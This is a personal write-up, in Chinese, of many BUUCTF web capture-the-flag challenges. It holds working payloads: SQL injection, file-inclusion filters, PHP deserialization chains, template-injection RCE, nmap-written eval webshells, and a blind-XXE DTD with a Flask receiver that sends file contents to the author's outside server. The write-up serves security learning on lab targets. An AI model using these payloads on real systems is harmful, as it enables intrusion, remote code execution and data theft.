BUU(2,1,1)
查看help,报 java.io.FileNotFoundException
换了几个文件名没变化,拦截,尝试改post之后读取到了help.docx
换了个文件名,通过报错信息拿到了当前的路径 /usr/local/tomcat/webapps/ROOT/
查看app的配置文件 WEB-INF/web.xml
访问 /Flag
报错,直接查看文件 WEB-INF/classes/com/wm/ctf/FlagController.class
解码,拿到flag
flag{e538b480-dc22-4393-9e8e-9c0a075c54a4}
BUU(2,1,2)
dirsearch扫目录(扫太快会报一堆429,所以慢点扫),找到 robots.txt
,访问 /static/secretkey.txt
不给看,另寻出路
此外还发现了flag在 flag.php
,但访问 url/flag.php
读不到内容
有join和login两个,login不了,那就join一个试试
发现了 url/view.php?no=1
,可能能注,尝试
no=0 # non-object
no=0 or true # 读到no=1那一条了
no=0 union select 1 # no hack ~_~
# union和select单独可以,"union select"被过滤了,试了试大小写都不行
# 用"union all select"或者"union/**/select"
no=0 union all select 1 # query error
no=0 union all select 1,2,3,4 # 过了,说明是4个
2没报错,有回显,开始查表
no=0 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() # users
no=0 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'users' # no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
no=0 union all select 1,group_concat(no,username,passwd,data),3,4 from users
看到data是以php序列化的形式存的,利用ssrf读一些文件看看
# static/secretkey.txt 啥也没有
no=0 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"114";s:3:"age";i:514;s:4:"blog";s:41:"file:///var/www/html/static/secretkey.txt";}'
# robots.txt
no=0 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"114";s:3:"age";i:514;s:4:"blog";s:31:"file:///var/www/html/robots.txt";}'
# flag.php
no=0 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"114";s:3:"age";i:514;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
再读 robots.txt
找到了 user.php.bak
,但感觉到这一步也没啥用了
解码,拿到flag
flag{bf399dca-9984-4b44-99a6-e9dfefd1e36b}
BUU(2,1,3)
有 index.php?category=
,且有个 <div class="page-include"> </div>
标签,标签里的内容看不到,大概是文件包含
试试 flag.php
,确实在这,但是直接读读不到,那就先看一看 index.php
category=php://filter/convert.base64-encode/resource=index.php
发现会自动加一个.php后缀category=php://filter/convert.base64-encode/resource=index
解码后得到 index.php
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
绕过if category=php://filter/convert.base64-encode/write=index/resource=flag
解码,拿到flag
flag{6b4684c4-5213-4cb8-8846-408660813463}
BUU(2,1,4)
查看网页源码,有两个POST参数, func
和 p
,从warning看出func是执行的函数,拦截改改看func=phpinfo&p=
说我是hacker(),system eval等等也不行
用 file_get_contents
查看 index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
反序列化
找flag, O:4:"Test":2:{s:1:"p";s:19:"find / -name '*flag*'";s:4:"func";s:6:"system";}
输出flag, O:4:"Test":2:{s:1:"p";s:22:"tac /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
flag{efc0da71-7e79-413e-a782-48c1018787af}
BUU(2,2,1)
hint给到 <!-- Do you know why i know your ip? -->
=> X-Forwarded-For
试了试,是模板注入
然后随便输一串,看看报错,是smarty
<label><h2>Your IP is : <br />
<b>Fatal error</b>: Uncaught --> Smarty Compiler: Syntax error in template "string:{hhfeuij}" on line 1 "{hhfeuij}" unknown tag 'hhfeuij' <--
thrown in <b>/var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php</b> on line <b>1</b><br />
找flag, {system("find / -name '*flag*'")}
输出flag, {system("cat /flag")}
flag{3855105a-2b64-4f8d-8591-2692789287d4}
BUU(2,2,2)
# first
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
用 data://
协议伪造数据, url/?text=data://text/plain,I have a dream
用 php://filter
查看next.php,&file=php://filter/convert.base64-encode/resource=next.php
# next
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
然后 file=next.php
把文件包含进来
查到 /e 是现在已经废弃的用法,然后搜 preg_replace /e 把答案搜出来了(绷)
https://blog.csdn.net/weixin_49656607/article/details/119833707
preg_replace /e 模式,可以在替换时执行代码
preg_replace(pattern, replacement, subject)
这道题是preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
主要有3点:
- replacement = 'strtolower("\1")',在这里因为有/e,所以相当于eval('strtolower("\1")'),其中\1是\1(第一个\是转义),在正则表达式里表示第一个匹配项
- 在php中,非法的 $_GET 数组参数名会变成下划线,所以直接传.*=xxx的话会被替换成_*,然后就无法执行力
- php可变变量,双引号包裹的字符串中变量会被解析,所以这 ${phpinfo()} 中的 phpinfo() 会先被当作变量执行
加上 \S*=${phpinfo()}
可算看到了phpinfo
找flag, GET /?text=data://text/plain,I%20have%20a%20dream&file=next.php&\S*=${getFlag()}&cmd=system("find%20/%20-name%20'*flag*'");
拿到flag, GET /?text=data://text/plain,I%20have%20a%20dream&file=next.php&\S*=${getFlag()}&cmd=system("tac%20/flag");
flag{bc338932-1ccd-4987-a9ca-da4851c77f8a}
BUU(2,2,3)
# code
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
?>
$_SERVER['HTTP_X_FORWARDED_FOR']
通过请求头 X-Forwarded-For
更改(没用到)
写入一句话木马,然后拿flag(具体怎么写见下面)
escapeshellarg
- 只传递一个参数,不能指定更多的参数
- 不能执行不同的命令
escapeshellcmd
- 只执行一个命令,但可以指定一堆参数
- 不能执行不同的命令
第1条明显有冲突,查到 escapeshellarg 和 escapeshellcmd 一起使用,会造成特殊字符逃逸
原文:[红日安全]代码审计Day5 - escapeshellarg与escapeshellcmd使用不当构造payload
令 host = ' <?php @eval($_GET[1]);?> -oG mu.php '
escapeshellarg 先对 ' 转义,并将左右两边引起来,变成 ''\'' <?php @eval($_GET[1]);?> -oG mu.php '\'''
escapeshellcmd 再对部分字符转义,变成 ''\'' \<?php @eval($_GET[1])\;?\> -oG mu.php '\'''
最终执行的是 nmap -T5 -sT -Pn --host-timeout 2 -F <?php @eval($_GET[1]);?> -oG mu.php
-oG 输出的是 grepable ,文本格式,包括指令和输出结果
然后就能用一句话木马拿flag力
GET /sandbox/mu.php?1=system("find / -name '\*flag\*'");
,找flag
GET /sandbox/mu.php?1=system("cat /flag");
,拿到flag
flag{2ecc7013-bcf7-405d-8744-67eaf0c93b2d}
BUU(2,2,4)
一看啥也没给,扫目录吧
一扫扫出来一堆 /.git/xxx
,还有个 /flag.php
,但没内容
200 137B http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/index
200 267B http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/COMMIT_EDITMSG
200 92B http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/config
200 73B http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/description
200 23B http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/HEAD
200 137B http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/index
200 240B http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/info/exclude
200 150B http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/logs/HEAD
200 150B http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/logs/refs/heads/master
200 41B http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/.git/refs/heads/master
200 0B http://f5de5512-0dcb-46ad-9126-dcfafcc1632b.node5.buuoj.cn:81/flag.php
是 .git 泄漏,直接上 GitHack 罢
找到 index.php 力
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
看到这个正则 /[a-z,_]+\((?R)?\)/
,用无参数的函数绕过
et 被过滤了,所以 getchwd 用不了,搜了搜有个抽象的current(localeconv())
永远返回一个点, pos(localeconv())
也行
先看看目录, GET /?exp=print_r(scandir(pos(localeconv())));
然后拿flag, GET /?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
flag{aef895de-be3a-476f-adc9-e02b06c9e6dd}
BUU(2,3,1)
网页源码有个 function,没啥用处就不放了
拦截看到 POST 了一个 xml ,应该是 xxe,试试
# payload
<?xml version="1.0" ?>
<!DOCTYPE creds [
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>
拿 flag
下面是抽象操作👍,就当练 blind xxe 了
没回显 (不知道当时怎么想的,乐),不熟,查:浅析无回显的XXE(Blind XXE)
那就先写 test.dtd ,在自己的vps上开个 flask
# test.dtd
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///var/www/html/doLogin.php">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://mingzux.com:11451/?p=%file;'>">
# payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://mingzux.com:11451/test.dtd">
%remote;%int;%send;
]>
# app.py
from flask import Flask, send_file, request
app = Flask('a')
@app.route('/test.dtd')
def provide_file():
filename = 'test.dtd'
return send_file(filename)
@app.route('/')
def receive_data():
data = request.args.get('p')
if data:
with open('data.txt', 'a') as file:
file.write(data + '\n')
return "Success!", 200
else:
return "Failed!", 400
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=11451)
拿到了 doLogin.php
里的账号和密码(然后发现没用)
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
......
?>
改 test.dtd,试了试 flag 在 /flag
flag{9f0877ed-0f29-4c9c-b02d-597dcd5fffb2}
BUU(2,3,2)
烫烫烫()
拦截看到正确编码的内容:我有一个数据库,但里面什么也没有~ 不信你找
扫目录吧,扫到了phpmyadmin,查了查数据库里面还真没东西
找到版本 4.8.1 ,google一下
搜到了漏洞,phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
照抄文章里的 payload 读 /flag
flag{04639db3-659f-4963-8acf-ad0cfaaef264}
BUU(2,3,3)
页面左下角有个 dog,没用
找不到什么了,扫扫目录
扫出一堆 .git,上 GitHack
拿到两个文件
# index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
# flag.php
<?php
$flag = file_get_contents('/flag');%
然后就是 php 的题了
payload: url/index.php?yds=flag
flag{2959c830-1a32-4271-90d6-8a5325346ef5}
btw:cat 真没用吧,mark lovs dog(确信
BUU(2,3,4)
应该是 header()
函数的报错(但后面没用到)
扫目录有 robots.txt,GET的话会从缓存读, max-age=43200😃,用POST
(想到之前没内容的 robots.txt 是不是也是缓存的问题?回头去看了看,确实有缓存,但是POST方法被禁了,所以当时想到了也没用)
找到个 fake flag,到 /fl4g.php 去看看
# fl4g.php
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
level1, num=2e4
会在前面被截断成 2,而在后面会先计算成 20001
level2,找一个以 0e 开头,后面全是数字的字符串,这个字符串的 md5 也是同样的格式
# 不懂 md5 的算法,写了个循环跑,跑了两分钟跑出来一个 0e215962017
import hashlib
from tqdm import tqdm
for i in tqdm(range(10000000000)):
h = hashlib.md5()
h.update(f"0e{str(i)}".encode('utf-8'))
result = h.hexdigest()
if result[:2] == "0e" and result[2:].isnumeric():
print(i, result)
所以 level2, md5=0e215962017
=> "0e215962017"=="0e291242476940776845150308577824" 通过,因为 0==0
放在后台跑了一会,这种字符串还是挺多的:
0e215962017
0e730083352
0e807097110
0e1137126095
0e1284838308
0e2799298535
♥️来自i9 14900kf
最后get flag,先 ls 看看,flag 就在当前目录get_flag=tac${IFS}fll*
flag{ab33f21d-59f0-43ae-be14-59100d701769}
BUU(2,4,1)
hint 给到:Why not take a closer look at cookies?
扫目录扫到url/vender/composer/installed.json
里面有点东西
确定安装了 twig 模板,那就是 ssti 了,试了试 login 后,可以在 url/flag.php
请求中的 Cookie: user={{114*514}}
这里注
twig 不懂,搜了搜怎么注:SSTI(模板注入)漏洞(入门篇)
还是不太懂,之后系统的学一学,下面是搜来的 payload 模板
# 找 flag
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("find / -name '*flag*'")}}
# cat flag
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /flag")}}
flag{7e7f8f23-31a3-4235-9c84-8671f8876e29}
BUU(2,4,2)
首先 Show 调用 __toString , str 设为 Test
因为 Test 没有 source 属性,所以会调用 __get ,然后执行函数 p
p 设为 Modifier ,调用 __invoke ,实现包含
payload 如下
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
$x = new Show();
$x->str = new Test();
$x->str->p = new Modifier();
$x = new Show($x);
echo urlencode(serialize($x));
?>
拿到 flag
flag{75b2c8c1-99c6-4fa2-b79b-3f561698c426}
BUU(2,4,3)
😭😭😭
img 看着像 base64,解码看看
网页源码显示 555.png 的 base64 编码,应该也能读 index.php
把 index.php encode 回去,是 TmprMlpUWTBOalUzT0RKbE56QTJPRGN
(toHex 的时候要改成没有空格)
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
强碰撞,用 fastcoll 生成俩文件,作为 a 和 b
ls 被禁了,用 cmd=dir /
查目录,找到 /flag
base64 没被禁,用 base64 /flag
拿 flag
flag{f5b2f572-ff18-4d18-82fa-5dfc5cffbb90}
BUU(2,4,4)
有两种方式找到 /flag.php
一是扫目录,二是查 md5 :https://www.nitrxgen.net/md5db/0cd4da0223c0b280829dc3ea458d655cARandomString
输入到验证框会跳转到 url/flag.php
,重点是 除了购买者和我自己 , X-Forwarded-For: 127.0.0.1
拿到 flag
flag{113999c5-3593-4b8b-a5de-9837bc5682d3}
BUU(2,5,1)
ssti jinja2
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
config 里定义了 FLAG,但我实在是找不到用什么其他方式读()
wp 里说下面这俩方法有个 current_app 的属性,可以通过这个访问 config
url_for() 方法:
url_for() 会返回视图函数对应的URL。如果定义的视图函数是带有参数的,则可以将这些参数作为命名参数传入。
get_flashed_messages() 方法:
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
payload,涨姿势了
GET /shrine/{{url_for.__globals__['current_app'].config}}
flag{bbce121b-df2c-4867-a521-f1c2d3dc3e76}
(顺着挑的,没想到第一个就稍微有点了解)
java版本 1.8.0_342
在 DemoController 里面找到:
我朝,ldap
请求用 json 传,传4个参数: ip,port,searchBase,filter
ip 只能是 ipv4 ,port 是数字,其他两个是字符串,请求体需要匹配正则:
# RequestWrapper.class
"^[{}0-9a-zA-Z\"\\\\:,.]*$"
BUU
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
看看 phpinfo,有个 d0g3_f1ag.php
不会读了,查了一下是利用反序列化字符逃逸,这个 filter 立大功
<?php
$img = base64_encode('d0g3_f1ag.php');
echo $img."\n";
$_SESSION['flagflag'] = '";s:3:"abc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$res = serialize($_SESSION);
echo $res."\n";
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
echo filter(serialize($_SESSION));
序列化前后:
ZDBnM19mMWFnLnBocA==
a:1:{s:8:"flagflag";s:51:"";s:3:"abc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
a:1:{s:8:"";s:51:"";s:3:"abc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
这样,会被解析为:键为 ;s:51:" 值为 abc,然后 img 的值为 base64编码的 d0g3_f1ag.php
因此反序列化后,会打印 d0g3_f1ag.php 的内容
最后加一个 ;} 是为了提前终止,消除后面关于 img_path 判断的影响
POST /index.php?f=show_image
_SESSION[flagflag]=";s:3:"abc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
接下来要读取 /d0g3_fllllllag,相应的改写 payload:
POST /index.php?f=show_image
_SESSION[flagflag]=";s:3:"abc";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
flag{fa151da5-b39c-4dce-afa2-be4510922fc1}
BUU
访问 url/www.tar.gz,拿到几千个 .php,全都是混淆过的,肯定不能用眼瞅,所以写个脚本看看哪个 $_GET 或 $_POST 能执行命令
BUU给的靶机太拉了,拉一个本地的:https://github.com/glzjin/qwb_2019_smarthacker
import os
import threading
import requests
from threading import Thread, Lock
from tqdm import tqdm
thread_ = threading.Semaphore(200)
requests.adapters.DEFAULT_RETRIES = 5
sess = requests.Session()
files = [file for file in os.listdir(os.getcwd()) if file.endswith('.php')]
results = []
results_lock = Lock()
def func(file):
thread_.acquire()
url = f"http://127.0.0.1:8302/{file}"
with open(file, 'r') as f:
lines = f.readlines()
for line in lines:
try:
if "$_GET['" in line:
param = line.split("['")[1].split("']")[0]
response = sess.get(url + f'?{param}=echo "hashashahhf";')
method = 'GET'
elif "$_POST['" in line:
param = line.split("['")[1].split("']")[0]
data = {param: 'echo "hashashahhf";'}
response = sess.post(url, data=data)
method = 'POST'
else:
continue
if "hashashahhf" in response.text:
with results_lock:
results.append((file, param, method))
except Exception as e:
print(f"Error {file}: {e}")
thread_.release()
threads = []
for file in tqdm(files):
thread = Thread(target=func, args=(file,))
threads.append(thread)
thread.start()
thread.join()
for result in results:
file, param, method = result
print(file, param, method)
找到 GET /xk0SzyKwfzw.php?Efa5BVG= 可以用
GET /xk0SzyKwfzw.php?Efa5BVG=find / -name "*flag*"
GET /xk0SzyKwfzw.php?Efa5BVG=cat /flag
flag{dd5a658d-4ea2-4565-825d-45cbba59611d}
BUU
网页提示 flag 在 /flag
之前那道 [BUUCTF 2018]Online Tool 做过类似的,用 nmap -oG 可以把命令和输出结果一同写到文件里
尝试:
host=127.0.0.1 -oG 1.txt # 写不进去
host=127.0.0.1' -oG 1.txt # 写入到了1.txt'
host=127.0.0.1' <?php @eval($_POST["cmd"]);?> -oG eval.php # Hacker... 过滤了一些东西,可能是php
host=127.0.0.1' <?= @eval($_POST["cmd"]);?> -oG eval.phtml ' # 过了,蚁剑连接
访问 /flag,拿到flag
flag{f0bd0732-f436-49ba-9cf0-802517f60d54}
查了查还有其他姿势也能拿到 flag,毕竟已经给出了 flag 的位置
可以用 nmap -iL 实现 namp 读取任意文件
payload
host=127.0.0.1' -iL ../../../../flag -o flag '
GET /flag
BUU
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
反序列化
题目利用点很明显,用蚁剑连接
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:18:"eval($_POST[cmd]);";s:1:"b";s:6:"assert";}
查看不了任何文件,应该是没权限,传参执行 ls 也没返回
可能 flag 在环境变量里,看看 phpinfo
GET /time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}
flag{ab2d65a1-f417-40c9-be61-88ac5d216042}
BUU
试了试,前面三个不让买,最后一个钱不够,而且要1337.0,但是只能是一个字符
%00 报错,找到了price相关的代码:
unicodedata.numeric(price)
这个挺好玩的,可以输汉字,也就是说
unicodedata.numeric("兆") == 1000000.0
flag{24a5e5cb-0b87-4c3e-9049-9e0a5d431caa}
BUU
首页直接说了 Build with smarty,ssti
右上角显示 ip,页面上又有get XFF,所以更改 X-Forwarded-For 请求头用于 ssti
{php}{/php} 标签被禁用,但 {if}{/if} 活着
payload
X-Forwarded-For:
{if phpinfo()}{/if} # phpinfo
{if system('find / -name "*flag*"')}{/if} # 找 flag ,在 /flag
{if system('cat /flag')}{/if} # 读 flag
flag{b43953db-f509-406d-b1bc-8e9aa24aa04c}
BUU
感觉像是 sql 注入,/details?id= 不能注,试了试 /addads.php 的广告标题可以注入
输入 or and 之类的显示标题含有敏感词汇,空格被删掉了,用 /**/ 替换
尝试
title='/**/union/**/select/**/1,2' # different number of columns
# 试到 5 绷不住了,自动化测试吧,python 生成一串,放到 yakit 字典里
# 结果最多10条广告,🌿
# 不管怎样,试出来有 22 列,2和3有回显
title='/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' # 爆库 web1
title='/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' # 爆表,or 被过滤,所以 information_schema 没法用了,用mysql.innodb_table_stats
# FLAG_TABLE,news,users,gtid_slave_pos,ads,users
# 查不了字段,只能无列名注入了
# FLAG_TABLE不在这个库,那 flag 应该是在 users 里
title='/**/union/**/select/**/1,(select/**/group_concat(`1`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/u),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
# 1,1,2,3
title='/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/u),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
# 2,flag,admin,root
title='/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/u),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
# 3,flag{ea840a7b-a28f-4724-a71c-d4f3232f9068},53e217ad4c721eb9565cf25a5ec3b66e,202cb962ac59075b964b07152d234b70
flag{ea840a7b-a28f-4724-a71c-d4f3232f9068}
—— 评论区 ——